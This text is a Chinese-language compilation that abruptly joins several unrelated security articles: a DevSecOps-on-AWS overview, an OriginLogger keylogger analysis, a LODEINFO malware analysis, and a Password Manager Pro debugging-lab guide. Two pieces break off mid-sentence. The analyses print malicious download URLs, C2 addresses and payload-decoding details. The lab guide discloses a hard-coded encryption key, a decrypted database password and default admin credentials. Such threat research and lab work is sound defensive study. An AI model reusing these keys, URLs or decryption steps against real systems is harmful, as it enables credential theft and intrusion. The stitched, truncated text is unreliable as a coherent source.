為確保高級別的安全性,您需要使用動態訪問配置工具和方法,例如零信任網絡訪問控制、Kerberos 身份驗證協議或可自定義的屬性權限。

此外,DevSecOps 需要增強的機密管理。將所有代碼上傳到公共存儲庫或云服務後,您無法對敏感數據進行硬編碼或使用憑據、SSH 密鑰和API 密鑰上傳文件。相反,您應該實施一個秘密管理工具來加密這些秘密並將它們存儲在受保護的保險庫中。

這些實踐將幫助您構建快速、迭代且安全的CI/CD 管道。由於您還需要可靠的工具,讓我們了解如何在AWS 基礎設施中實施DevSecOps。

在轉向DevSecOps 時,您應該使用哪些AWS 服務?使用來自眾多供應商的工具構建完整的CI/CD 管道極具挑戰性,因為您必須擔心集成、數據收集和兼容性,並確保每個工具的工作安全。此外,對任何工具的任何更新都可能會損壞您的軟件基礎架構或自動化流程,並導致更多工作。

這就是為什麼我們更願意使用AWS 工具和服務來保護DevOps,這些工具和服務可以幫助我們構建一致且安全的管道。 AWS 虛擬基礎設施包括一組旨在自動化代碼測試的工具,特別是在整個代碼開發和質量保證過程中應用安全檢查。

image.png

面向DevSecOps 的AWS 服務

構建安全的CI/CD 管道

您可以使用這些AWS 工具和服務將安全性集成到DevOps 管道中,以實現自動化代碼構建、部署和分析:

AWS CodeBuild — 一種編譯源代碼、運行測試和準備軟件包以進行部署的服務。

AWS CodeCommit — 一種用於託管基於Git 的安全存儲庫的源代碼控制服務。要使用它,您的DevSecOps 團隊需要配置他們的Git 客戶端以與AWS CodeCommit 存儲庫通信。

AWS CodeDeploy — 一種用於將代碼自動部署到基於AWS 的本地和第三方計算服務的服務。

AWS CodePipeline — 一種高效的CI/CD 服務,允許DevOps 工程師自動執行預防性和檢測性安全控制。使用AWS CodePipeline 實施DevSecOps 可確保快速安全的軟件更新。

AWS CloudFormation — 一種用於自動安全地描述和配置基礎設施資源的服務。使用此服務,DevSecOps 從業者可以創建演示管道的安全模板。

AWS Lambda — 一種無服務器計算工具,可自動運行您的代碼以響應檢測到的觸發器。您可以使用它對范圍內的安全組執行靜態代碼分析和動態堆棧驗證。

AWS Systems Manager Parameter Store — AWS Systems Manager 的一部分,可讓您安全地存儲配置和管理機密。 Parameter Store 使AWS 基礎設施透明且可控。

應用安全機制當您將敏感數據上傳到公共(甚至私有)存儲庫或云服務時,保護敏感數據尤為重要。使用以下AWS 工具實施DevSecOps:

AWS Identity and Access Management — 一項顯示在對產品進行更改時誰負責什麼的服務。它有助於驗證誰實施了更改、審核日誌和配置存儲庫並管理訪問權限。

AWS Key Management Services — 用於創建和管理數據保護所需的加密密鑰的服務。這些服務使用經過驗證的硬件安全模塊來確保您的密鑰安全。

Amazon Virtual Private Cloud — 一項允許您在AWS 公共雲中創建私有云的服務。虛擬私有云不僅提供與私有云中其他客戶的隔離,還提供與互聯網的第3 層隔離。

自動化安全活動自動化是DevSecOps AWS 服務的核心。以下安全自動化工具可用於自動化事件響應、補救和取證:

Amazon Simple Notification Service — 一種完全託管的消息傳遞服務,用於自動化應用程序到應用程序和應用程序到個人的通信。

AWS Security Hub — 一項服務,可讓您全面了解AWS 賬戶的安全警報和安全狀況。它還有助於自動執行安全檢查和警報管理。

AWS CloudWatch — 一種AWS 資源監控工具,可從您的AWS 賬戶和部分AWS 基礎設施收集日誌並將其係統化。

AWS CloudTrail — 一種可以監控對AWS 賬戶的CloudWatch API 調用的服務。借助CloudTrail,您的安全官可以快速響應可疑活動。

結論DevOps 是改進軟件工程和維護流程的有效方法。但是,只有將安全性集成到DevOps 實踐中,公司才能充分發揮其潛力。

將DevSecOps 引入AWS 服務需要廣泛的安全培訓、周密的規劃以及自動化和手動活動的適當平衡。但是,遵循將安全性集成到DevOps 中的最佳實踐將幫助您成功克服這些挑戰。

2019 年3 月4 日,鍵盤記錄惡意軟件Agent Tesla被發現。最近,研究人員發現了OriginLogger,這是一個基於Agent Tesla的惡意軟件。

我將在本文介紹OriginLogger 鍵盤記錄器惡意軟件,看看它如何處理配置變量的字符串混淆,以及我在查看提取的配置時發現的內容。

Palo Alto Networks 客戶通過Cortex XDR 和具有云交付安全服務(包括WildFire 和高級威脅預防)的下一代防火牆獲得OriginLogger 及其前身惡意軟件Agent Tesla 的保護。

OriginLogger的發現過程在搜索過程中,我偶然發現了一個銷售“完全無法檢測”(FUD)工具的人在2018 年發布的YouTube 視頻。此人展示了帶有鏈接的OriginLogger 工具,該鏈接可以從一個已知的網站購買該工具,該網站會傳播惡意軟件、漏洞利用等。

1.png

OriginLogger的部分功能

2.png

OriginLogger的全部功能

此外,他們還展示了Web 面板和惡意軟件生成器。

3.png

OriginLogger Web 面板

4.png

OriginLogger 生成器

上圖顯示的生成器圖像對我來說特別有趣,因為它提供了一個默認字符串:facebook、twitter、gmail、instagram、movie、skype、porn、hack、whatsapp、discord,這可能是這個應用程序獨有的。果然,在VirusTotal 上的內容搜索顯示了2022 年5 月17 日上傳的一個匹配文件(SHA256:595a7ea981a3948c4f387a5a6af54a70a41dd604685c72cbd2a55880c2b702ed)。

5.png

VirusTotal 搜索字符串

由於缺少依賴項,下載並嘗試運行此文件會導致錯誤。但是,知道生成器的文件名OriginLogger.exe,允許我擴展搜索並找到一個包含運行OriginLogger所需的所有文件的Zip歸檔文件(SHA256: b22a0dd33d957f6da3f1cd9687b9b00d0ff2bdf02d28356c1462f3dbfb8708dd)。

6.png

Zip 壓縮文件中的捆綁文件

settings.ini 文件包含生成器將使用的配置,在下圖中我們可以看到SmartWords 下列出的先前搜索字符串。

7.png

OriginLogger Builder settings.ini 文件

文件profile.origin 包含客戶在購買OriginLogger 時註冊的嵌入式用戶名/密碼。

8.png

OriginLogger 生成器登錄屏幕

有趣的是,如果你逆向配置文件中的值,就會顯示明文密碼。

9.png

profile.origin 文件的內容

10.png

OriginLogger 生成器登錄屏幕,以明文形式顯示密碼

當用戶登錄時,生成器會嘗試向OriginLogger 服務器進行身份驗證以驗證訂閱服務。

此時,我有了兩個版本的構建器。第一個(b22a0d*)包含在Zip文件中,編譯於2020年9月6日。另一個包含SmartWords字符串(595a7e*)的版本是在2022年6月29日編譯的,大約在第一個版本的兩年之後。

更高版本通過TCP/3345 向IP 23.106.223[.]46 發出身份驗證請求。自2022 年3 月3 日起,此IP 已解析到域originpro[.]me。此域已解析為以下IP 地址:

11.png

第二個IP,204.16.247[.]26,由於解析了這些其他OriginLogger 相關域而脫穎而出:

12.png

這個嘗試連接到一個不同的IP地址進行身份驗證。

13.png

PCAP 顯示遠程IP 地址

與originpro[.]me 關聯的IP 地址不同,74.118.138[.]76 不直接解析為任何OriginLogger 域,而是解析為0xfd3[.]com。在此域上逆向顯示它包含mail.originlogger[.]com的DNS MX和TXT記錄。

從2022 年3 月7 日左右開始,相關域開始解析為IP 23.106.223[.]47,它在最後一個八位字節中比用於originpro[.]me 的IP(使用46)高一個值。

這兩個IP 地址共享了多個SSL 證書:

14.png

共享SSL 證書

以IP 23.106.223開頭的兩個服務器的RDP登錄屏幕。 X顯示有多個帳戶的Windows Server 2012 R2服務器。

15.png

RDP登錄界面為23.106.223[.]

在進一步搜索該域時,我發現了用戶0xfd3 的GitHub 配置文件,其中包含下圖中所示的兩個存儲庫。

16.png

用戶0xfd GitHub

滴管由於Agent Tesla 和OriginLogger 都是商業化的鍵盤記錄器,因此初始dropper在不同的活動中會有很大的差異,不應被視為兩者都是獨一無二的。我將以下內容作為攻擊釋放OriginLogger 的真實示例來展示,並表明它們可能非常複雜和模糊。

初始誘餌文檔是一個Microsoft Word文件(SHA256: ccc8d5aa5d1a682c20b0806948bf06d1b5d11961887df70c8902d2146c6d1481)。打開時,該文件顯示一張德國公民的護照照片以及一張信用卡。我不太確定這對普通用戶有多大的吸引力,但無論如何,你都會注意到圖像下方包含許多Excel 工作表,如下圖所示。

17.jpeg

誘餌文件

這些工作表中的每一個都包含在單獨的嵌入式Excel 工作簿中,並且完全相同:

18.png

在每個工作簿中都有一個單一的宏,它只是保存要在以下位置執行的命令:

19.png

運行後,它將通過MSHTA 下載並執行hxxp://www.asianexportglass[.]shop/p/25.html 上的文件內容。該網站的屏幕截圖如下圖所示。

20.png

網站看起來合法

該文件在文檔中間包含一個嵌入的混淆腳本作為註釋。

21.png

網站隱藏評論

取消轉換腳本會顯示下圖中所示的代碼,該代碼從BitBucket 片段下載下一個有效負載(hxxps://bitbucket[.]org/!api/2.0/snippets/12sds/pEEggp/8cb4e7aef7a46445b9885381da074c86ad0d01d6/files/snippet.txt)並使用名為calsaasdendersw 的計劃任務建立持久性,該任務每83 分鐘運行一次,並再次使用MSHTA 執行hxxp://www.coalminners[.]shop/p/25.html 中包含的腳本。

22.png

未轉換的腳本

BitBucket 網站上託管的代碼段包含進一步混淆的PowerShell 代碼和兩個編碼和壓縮的二進製文件。

這兩個文件中的第一個(SHA256: 23fcaad34d06f748452d04b003b78eb701c1ab9bf2dd5503cf75ac0387f4e4f8)是使用CSharp-RunPE 的C# 反射加載器。該工具用於挖空一個進程並在其中註入另一個可執行文件,在本例中,鍵盤記錄器有效負載將放置在aspnet_compiler.exe 進程中。

23.png

執行dotNet程序集中包含的方法的PowerShell命令

請注意調用Execute 方法的projFUD.PA 類。 Morphisec 在2021 年發布了一個名為“揭示Snip3 Crypter,一種高度規避的RAT 加載器”的博客,他們在其中分析了一個加密器即服務,並使用該工件對加密器的開發者進行指紋識別。

兩個文件中的第二個(SHA256:cddca3371378d545e5e4c032951db0e000e2dfc901b5a5e390679adc524e7d9c)是OriginLogger 有效負載。

OriginLogger 配置如前所述,此分析的初衷是自動化並從鍵盤記錄器中提取與配置相關的詳細信息。為了實現這一點,我首先查看瞭如何使用與配置相關的字符串。

我不會深入研究惡意軟件的任何實際功能,因為它是相當標準的,並且反映了對原有Agent Tesla 變體的分析。為了開始提取與配置相關的細節,我需要弄清楚用戶提供的數據是如何存儲在惡意軟件中的。結果很簡單,生成器將獲取動態字符串值並將它們連接成一個巨大的文本塊,然後將其編碼並存儲在一個字節數組中,以便在運行時進行解碼。一旦惡意軟件運行並命中需要字符串的特定函數,例如將屏幕截圖上傳到的HTTP 地址,它會將偏移量和字符串長度傳遞給函數,然後該函數將在塊中的該位置顯示出文本。

為了說明這一點,你可以在下面看到用於主要文本塊的解碼邏輯。

224.png

OriginLogger 明文塊解碼

每個字節通過字節數組中的字節索引進行異或運算,並再次通過值170 進行異或運算以顯示明文。

對於生成器生成的每個示例,此文本塊將根據配置的不同而有所不同,因此偏移量和定位將發生變化。查看下圖中顯示的原始文本很有幫助,但如果不將其連接起來觀察,就很難確定邊界在哪裡結束或開始。

25.png

明文數據塊

當需要分析惡意軟件時,它也沒有幫助,因為你無法辨別什麼時候或在哪裡使用了哪些內容。為了解決下一個問題,我需要了解OriginLogger如何處理拼接。

下面你可以看到負責分割字符串的函數,後面是包含偏移量和長度的各個方法的開頭。

26.png

OriginLogger 字符串函數

在本例中,如果惡意軟件在某個時間點調用了B() 方法,它會將2、2、27 傳遞給圖像頂部的混淆後的無名函數。第一個整數用於存儲解碼字符串的數組索引。然後將第二個整數(offset)和第三個整數(length)傳遞給GetString函數以獲取文本。對於這個特定條目,結果值(如下所示)在創建它上傳的HTML 頁面期間使用,以顯示被盜數據。

微信截图_20220919110744.png

了解字符串解析的工作原理後,我就可以自動提取這些字符串。首先,查看底層中間語言(IL) 彙編指令會有所幫助。

27.png

用於字符串函數的OriginLogger IL 指令

對於每一個這樣的查找,函數塊的結構將保持不變。在上圖中的索引6-8 處,你將看到三個ldc.i4.X 指令,其中X 指示一個整數值,該整數值將在調用之前描述的拼接函數之前被推入堆棧。這種整體結構創建了一個框架,然後可以使用該框架來匹配二進製文件中的所有相應函數以進行解析。

利用這一點,我編寫了一個腳本來識別編碼的字節數組,確定異或值,然後以惡意軟件使用的相同方式拼接解碼的塊。此時,你可以滾動瀏覽解碼的字符串並查找感興趣的內容。一旦識別出某些內容,知道了偏移量和隨後的函數名,就可以利用惡意軟件了。

28.png

OriginLogger 解碼字符串

此時,我開始重命名混淆的方法以反映它們的實際值,這使得分析更容易。

29.png

OriginLogger FTP 上傳函數

需要注意的是,通過將字符串類型指定為委託並識別感興趣的令牌,可以使用de4dot 及其動態字符串解密功能來實現相同的字符串反混淆,這對於單個文件分析非常有效。

下圖是2020年3月上傳的Chrome密碼恢復代碼:

30.png

Chrome 密碼恢復

將上圖與帶有重命名方法的OriginLogger示例代碼進行比較,如下圖所示。

31.png

OriginLogger Chrome 密碼竊取函數

通過工件識別OriginLogger使用這個工具,我提取了1917個不同的配置,這可以深入了解所使用的洩露方法,並允許基於底層基礎設施對樣本進行聚類。例如,為將鍵盤記錄器和屏幕截圖數據上傳到的示例配置的一個URL 是hxxps://agusanplantation[.]com/new/new/inc/7a5c36cee88e6b.php。該URL 不再處於活動狀態,因此我開始搜索有關它的歷史信息,以了解這些HTTP POST 請求的接收端是什麼。通過將域插入URLScan.io,它會在同一目錄中顯示面板的登錄頁面,但更重要的是,在四個月前掃描此主機時,在此主機上觀察到了OriginLogger Web 面板(SHA256:c2a4cf56a675b913d8ee0cb2db3864d66990e940566f57cb97a9161bd262f271)。

32.png

域的URLScan.io 掃描歷史記錄

同樣,其中一種洩露方法是通過Telegram 木馬。為了使用它們,OriginLogger 需要包含一個Telegram 木馬令牌,以便惡意軟件可以與之交互。這為分析正在使用的基礎設施提供了另一個獨特的機會。在這種情況下

abstract_digital_japan-1200x600.jpg自2019年以來,卡巴斯基一直在跟踪涉及LODEINFO惡意軟件家族的活動,尋找迭代版本,並徹底調查利用這些新變體的任何攻擊。 LODEINFO是一種複雜的無文件惡意軟件,最在2020年2月就被發現被命名了。惡意軟件被開發人員定期修改和升級,專門針對日本的媒體、外交、政府和公共部門組織和智庫。

1.png

日本可能是LODEINFO的主要目標

此後,研究人員繼續追踪LODEINFO。 JPCERT/CC和Macnica Networks都報導過其迭代版本。卡巴斯基研究人員還在2021 HITCON會議上分享了新發現,涵蓋2019年至2020年的LODEINFO活動。

在2022年3月,卡巴斯基研究人員觀察到一個Microsoft Word文件被用作一些攻擊的感染媒介。同年6月,針對日本政府或相關機構的SFX文件被發現,文件中使用了日本著名政治家的名字,並使用了含有日本內容的誘餌文件。還觀察到一個名為DOWNIISSA的新的下載程序shellcode,用於部署LODEINFO後門。

接下來,我們將首先介紹新的感染方法的技術分析,如SFX文件和DOWNIISSA以及我們的發現。之後將介紹LODEINFO後門的技術分析,以及每個版本的後門的相關shellcode。

初始感染:VBA + DLL側加載在對2022年3月的攻擊進行調查期間,我們發現了一封帶有惡意附件的魚叉式釣魚電子郵件,其中安裝了惡意軟件持久性模塊,該模塊由合法的EXE文件和通過DLL側加載技術加載的惡意DLL文件組成。例如,以下部分描述了一個上傳到Virustotal的惡意Microsoft Word文件(MD5: da20ff8988198063b56680833c298113)。一旦目標打開惡意文檔文件,就會顯示一條日語消息:根據您的網絡安全設置,單擊上面黃色文檔欄上的“啟用編輯”和“啟用內容”以打開該文件。誘餌受害者點擊“啟用內容”並啟用嵌入式宏。

2.png

欺騙目標點擊“啟用內容”並嵌入VBA代碼日文信息

嵌入的VBA代碼創建文件夾C:\Users\Public\TMWJPA\,並在同一文件夾中釋放一個名為GFIUFR.zip (MD5: 89bd9cf51f8e01bc3b6ec025ed5775fc)的壓縮文件。 GFIUFR.zip包含兩個文件:NRTOLF.exe和K7SysMn1.dll。 NRTOLF.exe (MD5: 7f7d8c9c1b6735807aefb0841b78f389)是一個數字簽名的合法EXE文件,來自K7Security Suite軟件,用於DLL側加載。 K7SysMn1.dll (MD5: cb2fcd4fd44a7b98af37c6542b198f8d)是NRTOLF.exe附帶加載的惡意DLL。惡意DLL文件包含LODEINFO shellcode的加載程序。這個DLL是一個已知的LODEINFO加載程序模塊。它包含一個由0.5.9版本內部識別的單字節XOR加密LODEINFO外殼代碼。在我們調查的前幾次攻擊中,攻擊者也使用了這種感染方法。

除此之外,我們還發現了另外兩個與LODEINFO相關的植入程序。

初始感染2:SFX + DLL側加載其中一個植入程序是RAR格式的自解壓存檔(SFX)文件(MD5 76cdb7fe189845a0bc243969dba4e7a3),該文件也上傳到了Virustotal。類似地,歸檔文件包含三個文件,分別為1.docx、K7SysMn1.dll和K7SysMon.exe,其中包含如下所示的自解壓腳本命令。惡意軟件開發者還添加了一條用日語寫的評論,可以翻譯為“以下評論包含一個自解壓腳本命令”:

3.png

當目標用戶執行這個SFX文件時,歸檔文件將其他文件放置到%temp% dir,並將1.docx作為一個僅包含幾個日語單詞的誘餌打開,如下圖截圖所示。

4.png

來自1.docx的簡單誘餌文檔內容

在向用戶顯示一個誘餌文件時,歸檔腳本啟動K7SysMon.exe,它通過DLL側加載從K7SysMn1.dll (MD5: a8220a76c2fe3f505a7561c3adba5d4a)加載惡意DLL。 k7sysmm1 .dll包含一個BLOB,其中有一個模糊的例程,在過去的活動中沒有觀察到。嵌入式BLOB被劃分為4字節塊,每個部分存儲在DLL二進製文件的50個隨機命名的導出函數中的一個中。這些導出函數在分配的緩衝區中重構BLOB,然後使用一個單字節的XOR鍵解碼LODEINFO shellcode。

5.png

重新組裝有效負載BLOB

最終由該植入程序部署的負載是LODEINFO v0.6.3。

初始感染3:SFX + DLL側加載+額外的BLOB文件我們還發現了另一個類似的SFX文件,名為<masked>的sns電影的傳播請求。攻擊者利用了一位著名日本政治家的名字。嵌入的自解壓腳本和文件與本文的初始感染2部分中討論的前一個示例非常相似。但是,這個示例包含一個名為K7SysMon.Exe.db的附加文件。以前觀察到的加載程序模塊在可執行文件中嵌入了一個帶有加密shellcode的BLOB,但是在這個示例K7SysMn1.dll中不包含BLOB。相反,加載程序模塊讀取K7SysMon.Exe.db文件作為加密的BLOB,並解密shellcode,這是LODEINFO v0.6.3後門。 SFX文件的標題和文件的內容都是要求在SNS(社交網絡服務)上傳播這位著名政治家的視頻的內容。根據最後的歸檔時間戳,我們認為該SFX文件是在2022年6月29日通過魚叉式網絡釣魚郵件傳播的。從文件名稱和誘餌文件來看,目標是日本執政黨或相關機構。

2022年7月4日,另一個SFX文件(MD5 edc27b958c36b3af5ebc3f775ce0bcc7)被發現。存檔文件、有效載荷和C2地址與前面的示例集非常相似。唯一明顯的區別是這份誘餌文件的日文標題:投保申請。我們認為這個SFX文件可能被用來針對日本媒體公司。

初始感染4:VBA +未發現的下載程序shellcode downniissa早在2020年8月,我們發現了一個名為DOWNJPIT的無文件下載程序shellcode,這是LODEINFO惡意軟件的一個變體,並在HITCON 2021上就其進行了演示。 2022年6月,我們發現了另一個無文件下載程序shellcode,它由一個有密碼保護的Microsoft Word文件提供。文件名為增強日美同盟的威懾力和應對能力.doc。該文檔文件包含的惡意宏代碼與之前調查的樣本完全不同。打開後,該文檔文件顯示一條日文消息,以啟用以下VBA代碼。

6.png

2022年6月發現MS Word文件中的惡意VBA代碼

與過去的示例(如本文初始感染1中描述的示例)不同的是,惡意VBA宏被用來釋放DLL側加載技術的不同組件,在這種情況下,惡意宏代碼直接在WINWORD.exe進程的內存中註入並加載嵌入的shellcode。這個植入程序在過去的活動中是不存在的,shellcode也是LODEINFO v0.6.5的一個新發現的多級下載程序shellcode。

這個下載程序的shellcode完全不同於DOWNJPIT的變體。新的下載程序shellcode裡面有兩個URL:

http://172.104.112[.]218/11554.htm

http://www.dvdsesso[.]com/11554.htm

我們將這個新的下載程序命名為DOWNIISSA,其中IISSA是url中找到的文件名中的11554派生的字符串。下圖顯示了從惡意文檔文件到DOWNIISSA下載的最終有效負載的複雜感染流程。

7.png

通過DOWNIISSA的LODEINFO感染過程

如上所述,嵌入式宏生成DOWNIISSA shellcode並將其註入到當前進程(WINWORD.exe)中。主要的下載程序代碼是base64編碼的,並放在DOWNIISSA shellcode的開頭,由shellcode本身進行解碼和修補。

8.png

DOWNIISSA base64解碼和自修復

在它被解碼後,一些重要的字符串被發現是用一個字節的異或加密。例如,兩個C2目的地址用以下代碼解密。

9.png

DOWNIISSA shellcode主函數中嵌入的異或C2目的地

DOWNIISSA使用URLDownloadToFileA() API函數從URL地址下載BLOB,並將其釋放在%TEMP%/${TEMP}.tmp。然後,它將文件讀入當前進程中分配的內存中,並立即釋放下載的臨時文件。我們確認了這兩個URL都提供了相同的二進制數據,該數據與存儲在BLOB本身末尾的一字節XOR鍵進行了XOR。異或解密後,發現LODEINFO後門shellcode v0.6.5。在感染的最後階段,DOWNIISSA創建一個msiexec.exe實例,並在進程的內存中註入LODEINFO後門shellcode。

這個涉及DOWNIISSA shellcode的新感染流在之前使用LODEINFO的活動中沒有出現過,這是2022年的一個新的TTP。

除了在這個示例中找到的11554.htm文件,我們還發現了其他名稱的文件,如3390.htm, 5246.htm和16412.htm,在2022年7月託管在相同的C2服務器上。 3390.htm (MD5: 0fcf90fe2f5165286814ab858d6d4f2a)和11554.htm (MD5: f7de43a56bbb271f045851b77656d6bd)是通過downniissa惡意軟件下載的單字節異或lodeinfo v0.6.5 shellcode。每個示例的XOR鍵都在文件末尾找到。 5246.htm (MD5: 6780d9241ad4d8de6e78d936fbf5a922)和16412.htm (MD5: 15b80c5e86b8fd08440fe1a9ca9706c9)文件是單字節異或唯一數據結構。 5246.htm文件中的數據結構如下所示:

10.png

該數據結構包含三個文件的名稱:K7SysMon.exe, K7SysMn1.dll (MD5: c5bdf14982543b71fb419df3b43fbf07)和K7SysMon.exe.db (MD5: c9d724c2c5ae9653045396deaf7e3417)。這表明一個未被發現的下載程序模塊從C2下載5246.htm,以協助在受害者的設備上安裝一些嵌入式文件。

LODEINFO首次發現於2019年,LODEINFO及其感染方法不斷更新和改進,成為針對日本組織的更複雜的網絡間諜工具。 LODEINFO植入程序和加載程序模塊也不斷更新,以規避安全產品,並使安全研究人員的手動分析複雜化。

LODEINFO後門shellcode的演變如上所述,我們已經介紹了初始感染方法在不同的攻擊場景中有所不同,並且LODEINFO shellcode定期更新以用於每個感染媒介。接下來,我們將介紹2022年LODEINFO後門shellcode的改進。

卡巴斯基分別在3月、4月和6月調查了LODEINFO shellcode的新版本,即v0.5.9、v0.6.2、v0.6.3和v0.6.5。下圖顯示了該惡意軟件自發現以來的演變時間線。

2.1.png

LODEINFO發佈時間表

LODEINFO v0.5.6:使用古老的加密算法對C2通信進行多重加密這個從加載程序模塊中提取的LODEINFO v0.5.6 shellcode演示了針對某些安全產品的幾種增強規避技術,以及開發人員實現的三個新的後門命令。

在感染目標計算機之後,LODEINFO後門信標將計算機信息發送到C2,例如當前時間、ANSI代碼頁(ACP)標識符、MAC地址和主機名。信標還包含一個硬編碼密鑰(NV4HDOeOVyL),後來被古老的Vigenere密碼所使用。此外,隨機生成的垃圾數據被附加到數據的末尾,可能是為了逃避基於包大小的信標檢測。

2.2.png

在LODEINFO v0.5.6中增加了Vigenere密碼密鑰和隨機生成的垃圾數據

2021年12月,我們發現了LODEINFO v0.5.8,並進行了輕微修改,在Vigenere密碼密鑰後面添加了LODEINFO植入版本號。

用於發送數據的加密函數也被修改了,使其更加複雜。正如在前面的變體中觀察到的,它取要發送的數據的SHA512哈希值的前48個字節。然後,它使用一個等於運行時間的四字節XOR鍵XOR數據,並在數據之前進行預處理。發送的前16個字節來自另一個SHA512哈希值,這一次來自前面提到的硬編碼AES密鑰(NV4HDOeOVyL)。它在base64編碼的有效負載的末尾加密11個字節(用從“=”到“.”替換的填充),以動態生成第二個Vigenere密碼密鑰和最終生成數據的變量。 Vigenere密碼使用第二個密鑰加密base64編碼的標頭(url-safe替換了從“=”到“.”的填充)。

2.3.png

C2通信中的加密算法和數據流

最後,通過上面描述的複雜步驟,使用第二個密鑰、加密標頭和有效負載生成要發送到C2的數據。最終的數據包結構如下:

2.4.png

LODEINFO v0.5.6:用於後門命令標識符的2字節異或混淆

這次更新包括修改的加密算法和後門命令標識符,這些標識符在以前的LODEINFO shellcode中定義為四字節硬編碼值。 LODEINFO v0.5.6後門命令標識符被一個雙字節的異或操作混淆了。在比較命令標識符之前,對每個命令應用異或操作。對於每個命令,硬編碼的異或鍵不同,如下所示:

2.5.png

用於後門命令標識符的四字節堆棧字符串的兩字節異或

我們還觀察到攻擊者在LODEINFO v0.5.6及更高版本中實現了新的後門命令,如“comc”、“autorun”和“config”。 LODEINFO後門中嵌入了21條後門命令,包括3條新命令,用於控制受害主機。

LODEINFO v0.5.9:獲取API函數的哈希算法與v0.5.8相比,v0.5.9有一個新的哈希計算算法。該哈希算法被惡意軟件用來計算API函數名的哈希值,以解析函數地址。在本示例中,它似乎是由開發者開發的自定義算法。哈希計算的邏輯有一個XOR運算,在末尾有一個兩字節的鍵和一個硬編碼的XOR鍵,這在每個示例中都是不同的。

2.6.png

更改了哈希計算算法和v0.5.9中附加的雙字節異或鍵

這一修改表明,攻擊者的目標是逃避基於簽名的檢測,並使反向工程過程對安全研究人員來說更加困難。

LODEINFO v0.6.2:規避en_US環境在LODEINFO v0.6.2及更高版本中,shellcode有一個新特性,它在遞歸函數中查找受害者設備上的“en_US”區域設置,如果找到該區域設置,則停止執行。

2.7.png

如果找到“en-US”區域設置,則遞歸調用

根據卡巴斯基的調查,以及收集到的這個惡意軟件的開源情報,這些攻擊的主要目標是日本機構。因此,此功能的目的是避免在沙盒和研究人員設備上執行,這在英語語言環境中最常見。

LODEINFO v0.6.2:生成C2通信的用戶代理負責生成C2通信的用戶代理的函數也從v0.6.2更新了,惡意軟件使用以下硬編碼的格式化字符串生成用戶代理字符串,其中%s被替換為安裝的chrome.exe應用程序的版本號:

“Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36″

惡意軟件從以下其中一個文件路徑的EXE文件中獲取已安裝chrome.exe的版本號:

C:\ProgramFiles(x86)\Google\Chrome\Application\chrome.exe

C:\ProgramFiles\Google\Chrome\Application\chrome.exe

C:\Users\Administrator\AppData\Local\Google\Chrome\Application\chrome.exe

否則,如果系統上沒有這些文件,惡意軟件使用硬編碼版本98.0.4758.102創建以下用戶代理字符串:

Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/98.0.4758.102Safari/537.36

LODEINFO v0.6.2:支持在‘memory’ 命令中註入64位shellcode基於我們對該版本的深入分析,我們發現了一個非常有趣的更新,即從v0.6.2版本實現的shellcode加載方案,在處理' memory '命令的函數中。

2.8.png

檢查操作系統架構和下一個shellcode架構

在內存注入過程中,使用負責內存命令的函數執行,惡意軟件檢查第二階段shellcode的第一個字節,使用一個神奇的十六進制值確定shellcode體系結構。如果第一個字節為0xE9,則表示架構為32位。如果第一個字節為0x8D,則表示架構為64

0x00 前言本文記錄從零開始搭建Password Manager Pro漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

Password Manager Pro安裝

Password Manager Pro漏洞調試環境配置

數據庫連接

0x02 Password Manager Pro安裝1.下載最新版下載地址:https://www.manageengine.com/products/passwordmanagerpro/download.html

舊版本下載地址:https://archives2.manageengine.com/passwordmanagerpro/

最新版默認可免費試用30天,舊版本在使用時需要合法的License

注:

我在測試過程中,得出的結論是如果缺少合法的License,舊版本在使用時只能啟動一次,第二次啟動時會提示沒有合法的License

2.安裝系統要求:https://www.manageengine.com/products/passwordmanagerpro/system-requirements.html

對於Windows系統,需要Win7以上的系統,Win7不支持

默認安裝路徑:C:\Program Files\ManageEngine\PMP

3.測試安裝成功後選擇Start PMP Service

訪問https://localhost:7272

默認登錄用戶名:admin

默認登錄口令:admin

如下圖

1.png0x03 Password Manager Pro漏洞調試環境配置本文以Windows環境為例

1.Password Manager Pro設置查看服務啟動後相關的進程,如下圖

2.pngjava進程的啟動參數:

3.pngjava進程的父進程為wrapper.exe,啟動參數:

4.png查看文件C:\Program Files\ManageEngine\PAM360\conf\wrapper.conf,找到啟用調試功能的位置:

5.png取消註釋後,內容如下:

6.png

注:

Address的配置不需要設置為address=*:8787,會提示ERROR: transport error 202: gethostbyname: unknown host,設置address=8787就能夠支持遠程調試的功能

重啟服務,再次查看java進程的參數:wmic process where name='java.exe' get commandline

配置修改成功,如下圖

7.png

2.常用jar包位置路徑:C:\Program Files\ManageEngine\PMP\lib

web功能的實現文件為AdventNetPassTrix.jar

3.IDEA設置遠程調試設置如下圖

8.png

遠程調試成功,如下圖

9.png

0x04 數據庫連接默認配置下,Password Manager Pro使用postgresql存儲數據

配置文件路徑:C:\Program Files\ManageEngine\PMP\conf\database_params.conf

內容示例:

10.png 11.png

1.口令破解數據庫連接的口令被加密,加解密算法位於C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar中的com.adventnet.passtrix.ed.PMPEncryptDecryptImpl.class

密鑰固定保存在com.adventnet.passtrix.db.PMPDBPasswordGenerator.class,內容為@dv3n7n3tP@55Tri*

我們可以根據PMPEncryptDecryptImpl.class中的內容快速編寫一個解密程序

解密程序可參考:https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/

注:

文章中涉及數據庫口令的解密沒有問題,Master Key的解密存在Bug,解決方法將在後面的文章介紹

解密獲得連接口令為Eq5XZiQpHv

2.數據庫連接根據配置文件拼接數據庫連接的命令

(1)失敗的命令

12.png

(2)成功的命令

將localhost替換為127.0.0.1,連接成功,完整的命令為:

13.png(3)一條命令實現連接數據庫並執行數據庫操作

格式為psql --command='SELECT * FROM table;' postgresql://

示例命令:

14.png輸出如下:

15.png

發現password的數據內容被加密

0x05 小結在我們搭建好Password Manager Pro漏洞調試環境後,接下來就可以著手對漏洞進行學習。